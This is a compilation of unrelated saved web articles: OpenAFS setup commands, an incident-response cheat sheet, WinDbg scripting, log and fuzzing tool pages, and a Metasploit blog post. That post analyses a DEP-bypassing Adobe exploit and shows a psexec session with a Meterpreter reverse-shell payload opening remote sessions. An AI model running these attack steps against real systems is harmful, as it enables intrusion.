\#>bosserver -noauth &  
\#>bos listhosts servername -noauth  
\#>bos create -server servername -instance ptserver -type simple -cmd
/usr/lib/openafs/ptserver -cell domainname -noauth  
\#>bos adduser servername admin -cell domainname -noauth  
\#>bos listkeys servername -cell domainname -noauth  
\#>pts createuser -name admin -cell domainname -noauth  
\#>pts adduser admin system:administrators -cell domainname -noauth  
\#>pts membership admin -cell domainname -noauth  
\#>bos restart servername -all -cell domainname -noauth  
\#>bos create -server servername -instance fs -type fs -cmd
/usr/lib/openafs/fileserver -cmd /usr/lib/openafs/volserver -cmd
/usr/lib/openafs/salvager -cmd /usr/lib/openafs/vlserver -cell domainname
-noauth  
\#>bos status servername fs -long -noauth  
\#>vos create -server servername -partition /vicepa -name root.afs -cell
domainname -noauth  
\#>bos shutdown servername -wait  
\#>pkill bosserver  
\#>/etc/init.d/openafs-fileserver start  
\#>/etc/init.d/openafs-client start  
\#>kinit admin && klist  
\#>aklog && tokens  
\#>fs checkvolumes  
\#>fs setacl /afs system:anyuser rl  
\#>vos create servername /vicepa root.cell  
\#>fs mkmount /afs/domainname root.cell  
\#>fs setacl /afs/domainname system:anyuser rl  
\#>fs mkmount /afs/.domainname root.cell -rw  
\#>pts creategroup groupname -id -groupname  
\#>mkdir /afs/domainname/home  
  
foo is the number of the key.  
When you've done all this, it's time to add a user; you need a working NSS
system for this. To add users, type:  
  
\#>adduser --disabled-password  
  
To tell Kerberos and OpenAFS about your new user, type:  
  
\#>kadmin.local -q "ank -maxlife 30days username"  
\#>vos create servername /vicepa username  
\#>fs mkmount /afs/domainname/home/username username  
\#>vos release root.cell  
\#>fs checkvolumes  
\#>pts createuser username -id userid  
\#>pts adduser username groupname  
\#>fs sa /afs/domainname/home/username username all  
\#>fs setquota /afs/domainname/home/username -max 500000  
  
Now you'll need to set up the /etc/pam.d files. Just play with the
configuration files or send me an e-mail; even better, check out the debian-
security archives.  
Good luck\!  
  
  
Yes, i know there are better installation tutorials like this one, which is
really excellent, but look at the references: \[1\] Installing OpenAFS,
http://www.debianplanet.org/node.php?id=816 \!\!\!\!  
I hope debianplanet will be back soon...  

Eingestellt von Dietrichum 21:01

Labels: IBM, Kernel, Linux, MISC

#### 1 Kommentare:

    
Dietrich hat gesagt…

    
Here a few line for adding additional fileservers into an afs-cell  
1\. Install openafs-fileserver and openafs-dbserver  
1b. Doing asetkey....  
1c. Edit /etc/openafs/server/CellServDB  
1d. Create /etc/openafs/server/UserList with an entry: admin  
2\. /etc/init.d/openafs-fileserver start  
Next Point only, if this is a database machine\!  
3\. "bos create -server servername2 -instance ptserver -type simple -cmd
/usr/lib/openafs/ptserver -cell domainname"  
4a. "bos create -server servername2 -instance fs -type fs -cmd
/usr/lib/openafs/fileserver -cmd /usr/lib/openafs/volserver -cmd
/usr/lib/openafs/salvager -cell domainname  
4b. "/etc/init.d/openafs-fileserver stop" ".... start"  
5\. "vos create servername2 /vicepa volumename ...." & "fs mkmount ....."

  *[21:01]: 2008-07-18T21:01:00+02:00

# Lenny Zeltser - Security Incident Survey Cheat Sheet for Server
Administrators

**Created:**| _5/9/2009 10:38:00 AM_  
---|---  
**Updated:**| _5/9/2009 10:38:33 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Security Incident Survey Cheat Sheet for Server Administrators

This cheat sheet captures tips for examining a suspect server to decide
whether to escalate for formal incident response. To print, use the one-sheet
PDF version; you can also edit the Word version for you own needs.

The steps presented in this cheat sheet aim at minimizing the adverse effect
that the initial survey will have on the system, to decrease the likelihood
that the attacker's footprints will be inadvertently erased.

If you are an incident handler looking to take on the management of a
qualified incident, see the related incident questionnaire cheat sheet.

## Assessing the Suspicious Situation

To retain attacker's footprints, avoid taking actions that access many files
or installing tools.

Look at system, security, and application logs for unusual events.

Look at network configuration details and connections; note anomalous
settings, sessions or ports.

Look at the list of users for accounts that do not belong or should have been
disabled.

Look at a listing of running processes or scheduled jobs for those that do not
belong there.

Look for unusual programs configured to run automatically at system's start
time.

Check ARP and DNS settings; look at contents of the hosts file for entries
that do not belong there.

Look for unusual files and verify integrity of OS and application files.

Use a network sniffer, if present on the system or available externally, to
observe for unusual activity.

A rootkit might conceal the compromise from tools; trust your instincts if the
system just doesn't feel right.

Examine recently-reported problems, intrusion detection and related alerts for
the system.

## If You Believe a Compromise is Likely...

Involve an incident response specialist for next steps, and notify your
manager.

Do not panic or let others rush you; concentrate to avoid making careless
mistakes.

If stopping an on-going attack, unplug the system from the network; do not
reboot or power down.

Take thorough notes to track what you observed, when, and under what
circumstances.

## Windows Initial System Examination

Look at event logs | eventvwr   
---|---  
Examine network configuration | arp –a,  
netstat -nr  
List network connections and related details | netstat –nao,  
netstat -vb,  
net session,  
net use  
List users and groups | lusrmgr,  
net users,  
net localgroup administrators,  
net group administrators  
Look at scheduled jobs | schtasks   
Look at auto-start programs | msconfig   
List processes | taskmgr,  
wmic process list full  
List services | net start,  
tasklist /svc  
Check DNS settings and the hosts file | ipconfig /all,  
more %SystemRoot%\System32\Drivers\etc\hosts,  
ipconfig /displaydns  
Verify integrity of OS files \(affects lots of files\!\) | sigverif   
Research recently-modified files \(affects lots of files\!\) | dir /a/o-d/p %SystemRoot%\System32   
Avoid using Windows Explorer, as it modifies useful file system details; use
command-line.  
## Unix Initial System Examination

Look at event log files in directories \(locations vary\) | /var/log/,  
/var/adm/,  
/var/spool/  
---|---  
List recent security events | wtmp, who,  
last, lastlog  
  
Examine network configuration | arp –an,  
route print  
List network connections and related details | netstat –nap \(Linux\),  
netstat –na \(Solaris\),  
lsof –i  
List users | more /etc/passwd   
Look at scheduled jobs | more /etc/crontab,  
ls /etc/cron.\*,  
ls /var/at/jobs  
Check DNS settings and the hosts file | more /etc/resolv.conf,  
more /etc/hosts  
Verify integrity of installed packages \(affects lots of files\!\) | rpm -Va \(Linux\),  
pkgchk \(Solaris\)  
Look at auto-start services | chkconfig --list \(Linux\),  
ls /etc/rc\*.d \(Solaris\),  
smf \(Solaris 10+\)  
List processes | ps aux \(Linux, BSD\),  
ps -ef \(Solaris\),  
lsof +L1  
Find recently-modified files \(affects lots of files\!\) | ls –lat /,  
find / -mtime -2d -ls  
## Incident Response Communications

Do not share incident details with people outside the team responding to the
incident.

Avoid sending sensitive data over email or instant messenger without
encryption.

If you suspect the network was compromised, communicate out-of-band, e.g. non-
VoIP phones.

## Key Incident Response Steps

  1. Preparation: Gather and learn the necessary tools, become familiar with your environment.
  2. Identification: Detect the incident, determine its scope, and involve the appropriate parties.
  3. Containment: Contain the incident to minimize its effect on neighboring IT resources.
  4. Eradication: Eliminate compromise artifacts, if necessary, on the path to recovery.
  5. Recovery: Restore the system to normal operations, possibly via reinstall or backup.
  6. Wrap-up: Document the incident's details, retail collected data, and discuss lessons learned.

## Other Incident Response Resources

Windows Intrusion Discovery Cheat Sheet

Checking Windows for Signs of Compromise

Linux Intrusion Discovery Cheat Sheet

Checking Unix/Linux for Signs of Compromise

## Post-Scriptum

Special thanks for feedback to Lorna Hutcheson, Patrick Nolan, Raul Siles, Ed
Skoudis, Donald Smith, Koon Yaw Tan, Gerard White, and Bojan Zdrnja.

If you have suggestions for improving this cheat sheet, please let me know.

Creative Commons v3 "Attribution" License for this cheat sheet v. 1.7.

Take a look at my other security cheat sheets.

# Colorized grep in less | commandlinefu.com
**Created:**| _9/25/2009 5:10:27 PM_  
---|---  
**Updated:**| _9/25/2009 5:10:45 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

# Colorized grep in less

Terminal - Colorized grep in less

ack --pager='less -r'

2009-09-25 13:01:58

User: unixmonkey5780

1

Up  
Down

Colorized grep in less

Add to favourites | Report as malicious
### Alternatives

There is 1 alternative - vote for the best\!

Terminal - Alternatives

grep --color=always | less -R
2009-05-20 20:30:19

User: dinomite

Functions: grep less

Tags: color grepGNU/Linux

15

Up  
Down

Colorized grep in less

Get your colorized grep output in less\(1\). This involves two things: forcing
grep to output colors even though it's not going to a terminal and telling
less to handle those properly.

Comments \(0\) | Add to favourites | Report as malicious

# Metasploit: The Latest Adobe Exploit and Session Upgrading

**Created:**| _3/19/2010 3:35:46 AM_  
---|---  
**Updated:**| _3/19/2010 3:36:06 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit Metasploit Malware-analysis Tutorials_  
  

### The Latest Adobe Exploit and Session Upgrading

On March 12th and 13th, a researcher named "villy" posted a couple of blogs
relating to an exploit for CVE-2010-0188. On the 15th, I ported that exploit
\(python\) over to Metasploit \(ruby\), which you can findhere, in the module
browser. Doing so is often rather straight forward, and in this particular
case was no different. However, once I finished porting and moved into testing
I noticed something odd... This exploit worked flawlessly against Adobe Reader
9.3 despite DEP being enabled. \(For those who didn't know, Adobe Reader 9
enables DEP "permanently".\) After I checked to make sure that DEP was indeed
enabled \(it was\), I proceeded to try to figure out why this exploit worked.  
  
The TIFF contents seemed rather blob-ish, which was suspicious to me. A bit of
digging on the vulnerability revealed it was a stack-based buffer overflow
which was eerily similar to CVE-2006-3547. I figured there must be something
in the TIFF contents that was disabling DEP in some way. The first thing I
tried was to turn the blob into an array of 32-bit little endian integers.
This was pretty easily accomplished as you can see in an excerpt here:

[code]

      
    irb> blob.unpack("V*").each { |dw| puts "0x%x" % dw }  
    ...  
    0x70072f7  
    0x10104  
    0x70015bb  
    0x1000  
    ...  
    
    
[/code]

On a gut feeling, I changed the payload to begin with a breakpoint and checked
0x70072f7 to see if it was mapped. Indeed it was, and it pointed to a "pop eax
/ ret" instruction sequence. Then I proceeded to put a breakpoint at 0x70072f7
to see how things progressed from there. What I found was that several
function tails were being used to create a hunk memory of that was not
protected by DEP. After this was created, a bit more ROP \(return oriented
proramming\) was used to accomplish a "memcpy" of a small loader stub to this
memory and execute it.  
  
You might be asking yourself, "Great, but why do we care?" ... Well, AFAIK
\(feel free to comment\), this is the first public exploit that uses multiple
tail chunks to completely bypass permanent DEP. It certainly gives me a bit of
chill to see this coming from a maliciously circulating document...  
  
Upgrading Command Shell Sessions  
  
For part two of this post, I wanted to highlight a little feature I added
recently in response to a rather old ticket \(\#394\). As of Revision 8088, it
is now possible to turn existing Windows Command Shell sessions into full-
blown Meterpreter sessions. This is all made possible by several recent
advances in the framework, a large part of which was the CmdStager contributed
by bannedit. You can see this functionality in action here:

[code]

      
    msf > use exploit/windows/smb/psexec  
    msf exploit(psexec) > set  
    ...  
    LHOST       10.13.37.2  
    LPORT       1337  
    PAYLOAD     windows/meterpreter/reverse_tcp  
    RHOST       10.13.37.102  
      
    msf exploit(psexec) > exploit -z  
    ...  
    [*] Command shell session 1 opened (10.13.37.2:1337 -> 10.13.37.102:1057)  
    ...  
    [*] Session 1 created in the background.  
    msf exploit(psexec) > sessions -l  
    ...  
    1   shell  Microsoft Windows 2000 [Version 5.00.2195]  10.13.37.2:1337 -> 10.13.37.102:1057  
    ...  
    msf exploit(psexec) > sessions -u 1  
      
    [*] Started reverse handler on 10.13.37.2:1337  
    [*] Starting the payload handler...  
    [*] Command Stager progress - 3.16% done (1694/53587 bytes)  
    [*] Command Stager progress - 6.32% done (3388/53587 bytes)  
    [*] Command Stager progress - 9.48% done (5082/53587 bytes)  
    [*] Command Stager progress - 12.64% done (6776/53587 bytes)  
    [*] Command Stager progress - 15.81% done (8470/53587 bytes)  
    [*] Command Stager progress - 18.97% done (10164/53587 bytes)  
    [*] Command Stager progress - 22.13% done (11858/53587 bytes)  
    [*] Command Stager progress - 25.29% done (13552/53587 bytes)  
    [*] Command Stager progress - 28.45% done (15246/53587 bytes)  
    [*] Command Stager progress - 31.61% done (16940/53587 bytes)  
    [*] Command Stager progress - 34.77% done (18634/53587 bytes)  
    [*] Command Stager progress - 37.93% done (20328/53587 bytes)  
    [*] Command Stager progress - 41.10% done (22022/53587 bytes)  
    [*] Command Stager progress - 44.26% done (23716/53587 bytes)  
    [*] Command Stager progress - 47.42% done (25410/53587 bytes)  
    [*] Command Stager progress - 50.58% done (27104/53587 bytes)  
    [*] Command Stager progress - 53.74% done (28798/53587 bytes)  
    [*] Command Stager progress - 56.90% done (30492/53587 bytes)  
    [*] Command Stager progress - 60.06% done (32186/53587 bytes)  
    [*] Command Stager progress - 63.22% done (33880/53587 bytes)  
    [*] Command Stager progress - 66.39% done (35574/53587 bytes)  
    [*] Command Stager progress - 69.55% done (37268/53587 bytes)  
    [*] Command Stager progress - 72.71% done (38962/53587 bytes)  
    [*] Command Stager progress - 75.87% done (40656/53587 bytes)  
    [*] Command Stager progress - 79.03% done (42350/53587 bytes)  
    [*] Command Stager progress - 82.19% done (44044/53587 bytes)  
    [*] Command Stager progress - 85.35% done (45738/53587 bytes)  
    [*] Command Stager progress - 88.51% done (47432/53587 bytes)  
    [*] Command Stager progress - 91.68% done (49126/53587 bytes)  
    [*] Command Stager progress - 94.84% done (50820/53587 bytes)  
    [*] Command Stager progress - 97.99% done (52510/53587 bytes)  
    [*] Sending stage (748032 bytes)  
    msf exploit(psexec) > [*] Meterpreter session 2 opened (10.13.37.2:1337 -> 10.13.37.102:1058)  
    
    
[/code]

  

# Looking Inside the Dropbox

**Created:**| _8/15/2013 8:00:46 AM_  
---|---  
**Updated:**| _8/15/2013 8:01:23 AM_  
**Author:**| _wishi_  
**Tags:**| _authentication bypass reversing cloud computing client-side_  
  
<img src='img/woot13-kholia.pdf' />

# WinDbg, Debugger Objects, and JavaScript\! Oh, My\! - OSR

**Created:**| _5/20/2017 8:53:45 PM_  
---|---  
**Updated:**| _5/20/2017 8:53:45 PM_  
**Author:**| __  
**Tags:**| _windbg_  
  

  

# WinDbg, Debugger Objects, and JavaScript\! Oh, My\!

Path: Home / Developer's Blog /

18 May 2017

Categories: DEBUG, WDK

by SNoone

### Share this:

  * Twitter
  * Facebook
  * LinkedIn1
  * More
  * 

In case you’ve missed it, there are tons of changes going on under the covers
in WinDbg. There is a fundamental paradigm shift going on in terms of how
WinDbg grants access and presents data to the user and it can lead to some
pretty cool results.

Let’s take a concrete example of the old way versus the new way. Say you want
to look up every process in the system. In the old way, you would run the
following command:

1 | \!process 0 0  
---|---  
This gives you some nice output that lists the processes in the system:

1234567891011 | \!process 0 0\*\*\*\* NT ACTIVE PROCESS DUMP \*\*\*\*PROCESS ffff8e018de56040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffbb8ca0e012c0 HandleCount: 2040. Image: System PROCESS ffff8e018e1b27c0 SessionId: none Cid: 020c Peb: 7126d5e000 ParentCid: 0004 DirBase: 0673c000 ObjectTable: ffffbb8ca1d72440 HandleCount: 52. Image: smss.exe  
---|---  
Cool. But, what if I want to know more about the processes? For example, maybe
I want to see every thread in every process. Off to the documentation I go to
see if there’s a flag specific to this command that I can pass to get the
details I want. In this case I can pass “2” and I get to see some thread
details:

123456789101112 | \!process 0 2 \*\*\*\* NT ACTIVE PROCESS DUMP \*\*\*\* PROCESS ffff8e018de56040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffbb8ca0e012c0 HandleCount: 2040. Image: System THREAD ffff8e018de5d5c0 Cid 0004.000c Teb: 0000000000000000 Win32Thread: 0000000000000000 WAIT: \(Executive\) KernelMode Non-Alertable fffff800e11c42a0 SynchronizationEvent THREAD ffff8e018de5f4c0 Cid 0004.0010 Teb: 0000000000000000 Win32Thread: 0000000000000000 WAIT: \(Executive\) KernelMode Non-Alertable fffff800e11c5180 Semaphore Limit 0x7fffffff  
---|---  
Excellent\! OK, now I want to know which threads are impersonating…Womp, womp.
Sorry, there’s not a flag for that. Even worse, my choices for getting this
information kind of suck at this point: I can write my own debugger extension
or I can write my own Debugger Command Program using the WinDbg scripting
language \(ha\!\).

Enter the world of the debugger object model. Instead of running a command
that will list the processes in the system, the debugger provides access to an
array of objects that represent each process in the system. You can dump this
array using the dx command:

12345678910111213141516171819202122232425 | dx -r2 Debugger.Sessions\[0\].Processes \[0x0\] : KernelObject \[Type: \_EPROCESS\] Name : Unknown Image Id : 0x0 Threads Modules Environment Io \[0x4\] : KernelObject \[Type: \_EPROCESS\] Name : Unknown Image Id : 0x4 Threads Modules Environment Io \[0x20c\] : smss.exe KernelObject \[Type: \_EPROCESS\] Name : smss.exe Id : 0x20c Threads Modules Environment Io  
---|---  
Note that each object has several properties, including a property that gives
us access to all of the threads within the process \(_Threads_\). So, if I
want to see all of the threads in the processes I can perform a LINQ query and
ask for all threads in all processes:

123456789101112 | dx -r2 Debugger.Sessions\[0\].Processes.Select\(p => p.Threads\) \[0x0\] \[0x0\] : nt\!DbgBreakPointWithStatus \(fffff800\`e0feea40\) \[0x4\] \[0xc\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x10\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x14\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x18\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x1c\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x20\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x24\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x28\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\)  
---|---  
OK, I admit that wasn’t intuitively obvious to ME, but now we’ll get to see
why this is cool…

Back to my original issue of needing only threads that are impersonating, I
can do another LINQ query to filter to only the threads that are
impersonating. I’ll base this on a property of the ETHREAD kernel object that
is part of each thread debugger object:

1234567891011 | dx -r2 Debugger.Sessions\[0\].Processes.Select\(p => p.Threads.Where\(t => t.KernelObject.ActiveImpersonationInfo \!= 0\)\)... \[0x3d8\] \[0x424\] \[0x42c\] \[0x460\] \[0x830\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0xf30\] : nt\!KiSwapContext+0x76 \(fffff800\`e0fede06\) \[0x468\] \[0x494\] \[0x4dc\]  
---|---  
Again I will agree that this isn’t intuitively obvious, but it’s pretty cool
and provides a new way to navigate crash dump files.

Another cool feature of debugger objects is that they’re also exposed via
JavaScript. So, instead of writing a debugger extension in C++ to list all the
processes in the system, you can write some JavaScript instead:

12345678910111213141516171819202122232425262728293031323334 | //// ListProcs.js//// Walk the current list of processes//// OSR Open Systems Resources, inc.//// http://www.osr.com// http://www.osronline.com////// To run:// // .load jsprovider.dll// .scriptload ListProcs.js// dx Debugger.State.Scripts.ListProcs.Contents.ListProcs\(\)//function ListProcs\(\) \{ // Get easy access to the debug output method var dbgOutput = host.diagnostics.debugLog; dbgOutput\("List Processes\!\n\n"\); var processes = host.currentSession.Processes; for \(var process of processes\) \{ dbgOutput\("Found Process:\n"\); dbgOutput\("\tName : ", process.Name, "\n"\); dbgOutput\("\tId : ", process.Id, "\n"\); \} \}  
---|---  
To run the command just save it in a .js file and perform the following steps:

1234567891011121314 | .load jsprovider.dll.scriptload ListProcs.jsdx Debugger.State.Scripts.ListProcs.Contents.ListProcs\(\) List Processes\!Found Process: Name : Unknown Image Id : 0x0Found Process: Name : Unknown Image Id : 0x4Found Process: Name : smss.exe Id : 0x20c  
---|---  
Pretty neat\!

To provide another example, we had a question on our WinDbg forum about how
you might find all of the active file handles to a particular device object.
In the old way this would be quite painful. You’d end up running the following
command:

1 | \!handle 0 3 0 File  
---|---  
And searching the output for the address that you’re interested in.

In the new way, each debugger process object has a property that returns you
an array of the handles in the process. With a bit of JavaScript we can use
this data to find the file objects that reference our device object:

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980 | //// FindDevHandle.js//// Walk the current list of processes and look for a handle to a file object// that is accessing the specified device//// OSR Open Systems Resources, inc.//// http://www.osr.com// http://www.osronline.com////// To run:// // .load jsprovider.dll// .scriptload FindDevHandle.js// dx Debugger.State.Scripts.FindDevHandle.Contents.FindDevHandle\(0x12345678\)//function FindDevHandle\(devObjParam\) \{ // Get easy access to the debug output method var dbgOutput = host.diagnostics.debugLog; // Get a typed device object for the incoming parameter var devObj = host.createTypedObject\(devObjParam, "nt", "\_DEVICE\_OBJECT"\); dbgOutput\("Finding handle to device ", devObj.targetLocation, "\!\n\n"\); // Loop over each process var processes = host.currentSession.Processes; for \(var process of processes\) \{ dbgOutput\("Process ", process.Name, "\n"\); // And each handle in every process var handles = process.Io.Handles; // Note that an exception can be raised while looping over the handles // \(e.g. an empty handle table\) try \{ for \(var handle of handles\) \{ // NOTE: We just treat every handle like it's a file handle // and catch exceptions along the way. A better idea would // be to key off of the type, but that appears to be broken // with public PDBs at the moment try \{ // Cast the object to a file object var fileObj = host.createTypedObject\(handle.Object.Body.targetLocation, "nt", "\_FILE\_OBJECT"\); // Dereference the DeviceObject field and get the target location if \(fileObj.DeviceObject.dereference\(\).targetLocation == devObj.targetLocation\) \{ dbgOutput\("\tFound one\!\n"\); dbgOutput\("\t PID : ", process.Id, "\n"\); dbgOutput\("\t Name : ", process.Name, "\n"\); dbgOutput\("\t Handle : ", handle.Handle, "\n"\); dbgOutput\("\t Object : ", fileObj.targetLocation, "\n\n"\); \} \} catch \(e\) \{ dbgOutput\("\tException parsing handle\!\n"\); \} \} \} catch \(e\) \{ dbgOutput\("\tException parsing handle table\!\n"\); \} \} \}  
---|---  
Example of the results:

12345678910111213 | dx Debugger.State.Scripts.FindDevHandle.Contents.FindDevHandle\(0xffff8e018f704140\) Finding handle to device 0xffff8e018f704140\!...Process SearchFilterHost.exeProcess audiodg.exeProcess OSRLOADER.exeProcess NothingTest.exe Found one\! PID : 0x1300 Name : NothingTest.exe Handle : 0x9c Object : 0xffff8e018e619690  
---|---  
I’ve glossed over a lot of things in that script and we’ll certainly be
writing more about all of this in the future, but in the meantime there’s some
interesting documentation available on MSDN:

**dx command:**

https://msdn.microsoft.com/en-
us/library/windows/hardware/dn936815\(v=vs.85\).aspx

**Writing LINQ queries in WinDbg**

https://blogs.msdn.microsoft.com/windbg/2016/10/03/writing-linq-queries-in-
windbg/

**JavaScript Debugger Example Scripts**

https://msdn.microsoft.com/en-
us/library/windows/hardware/mt790252\(v=vs.85\).aspx

**Native Debugger Objects in JavaScript Extensions**

https://msdn.microsoft.com/en-
us/library/windows/hardware/mt790254\(v=vs.85\).aspx

**Defrag Tools \#170 – Debugger – JavaScript Scripting**

https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-170-Debugger-
JavaScript-Scripting

### Share this:

  * Twitter
  * Facebook
  * LinkedIn1
  * More
  * 

  

# ISC Diary | Mandiant Highlighter 2
**Created:**| _2/9/2014 9:41:50 PM_  
---|---  
**Updated:**| _2/9/2014 9:41:50 PM_  
**Author:**| __  
**Tags:**| _security tools Logs_  
  

# Mandiant Highlighter 2****

  * Einstellungen

Published: 2014-02-09,  
Last Updated: 2014-02-09 18:38:23 UTC  
by Basil Alawi S.Taher \(Version: 1\)

0 comment\(s\)

In previous dairy I discussed the basic usage of Mandiant Highlighter **.** In
this diary I will discuss some other features.

**Mandiant Highlighter Graphic**

The graphic is an overall view of the whole file**.** Each line/bar on the
graph represents a line in the text, the length are proportional to the line
lengths in the file**.** When you highlight a word on the text it will be
highlighted on the graph as well**.**

<img src='img/Temp2_4337.jpg' />

If you would like to specify the range of data that you would like to display,
you can do that by entering the range in “Zoom Control” section in the right
bottom of the screen:

<img src='img/Temp2_4341.jpg' />

**Windows Event Viewer:**

To view Windows events, you have first to export it to .txt file**.** Here is
the steps to Save the event files to text file:

1-Right click on the event category:

<img src='img/Temp2_4339.jpg' />

2-Select “Save All Events As ..**.** ”

3-Type the file name and select Text from “Save Type As “Drop menu

<img src='img/Temp2_4340.jpg' />

Now you can use Mandiant Highlighter to parse the Windows Events

**Regular Expressions:**

Can you imagine a powerful log parser without regular expression support**?**
To use regular expressions in Mandiant Highlighter enter the regular
expression in the Keyword box then select Case Sensitive RegExp/Case
Insensitive drop menu

<img src='img/Temp2_4338.jpg' />

<img src='img/Temp2_4342.jpg' />

0 comment\(s\)

Top of page

****

# mxmssh/drAFL

**Created:**| _5/10/2019 8:25:53 AM_  
---|---  
**Updated:**| _5/10/2019 8:25:53 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation Fuzzer afl_  
  

  

AFL + DynamoRIO = fuzzing binaries with no source code on Linux

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-history js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='36'%3e%3cpath fill-rule='evenodd' d='M8 13H6V6h5v2H8v5zM7 1C4.81 1 2.87 2.02 1.59 3.59L0 2v4h4L2.5 4.5C3.55 3.17 5.17 2.3 7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-.34.03-.67.09-1H.08C.03 7.33 0 7.66 0 8c0 3.86 3.14 7 7 7s7-3.14 7-7-3.14-7-7-7z' data-evernote-id='583' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 6  commits 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-git-branch js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='37'%3e%3cpath fill-rule='evenodd' d='M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='586' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 1  branch 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='38'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96 1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39 1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38 7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16 1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-id='589' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 0  releases 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-organization js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='39'%3e%3cpath fill-rule='evenodd' d='M16 12.999c0 .439-.45 1-1 1H7.995c-.539 0-.994-.447-.995-.999H1c-.54 0-1-.561-1-1 0-2.634 3-4 3-4s.229-.409 0-1c-.841-.621-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.442.58 2.5 3c.058 2.41-.159 2.379-1 3-.229.59 0 1 0 1s1.549.711 2.42 2.088C9.196 9.369 10 8.999 10 8.999s.229-.409 0-1c-.841-.62-1.058-.59-1-3 .058-2.419 1.367-3 2.5-3s2.437.581 2.495 3c.059 2.41-.158 2.38-1 3-.229.59 0 1 0 1s3.005 1.366 3.005 4z' data-evernote-id='592' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> 1  contributor 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-law js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='40'%3e%3cpath fill-rule='evenodd' d='M7 4c-.83 0-1.5-.67-1.5-1.5S6.17 1 7 1s1.5.67 1.5 1.5S7.83 4 7 4zm7 6c0 1.11-.89 2-2 2h-1c-1.11 0-2-.89-2-2l2-4h-1c-.55 0-1-.45-1-1H8v8c.42 0 1 .45 1 1h1c.42 0 1 .45 1 1H3c0-.55.58-1 1-1h1c0-.55.58-1 1-1h.03L6 5H5c0 .55-.45 1-1 1H3l2 4c0 1.11-.89 2-2 2H2c-1.11 0-2-.89-2-2l2-4H1V5h3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1h3v1h-1l2 4zM2.5 7L1 10h3L2.5 7zM13 10l-1.5-3-1.5 3h3z' data-evernote-id='595' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Apache-2.0 

  1. C 85.3%
  2. Shell 7.1%
  3. C++ 4.0%
  4. Makefile 2.7%
  5. HTML 0.7%
  6. CMake 0.2%

_Branch:_ master

New pull request

Upload files  Find File

Clone or download

<img src='img/6836706' width='20' height='20' />

mxmsshView all commits by mxmssh Update README.md

Latest commit  9041942  13 days ago

Type | Name | Latest commit message | Commit time  
---|---|---|---  
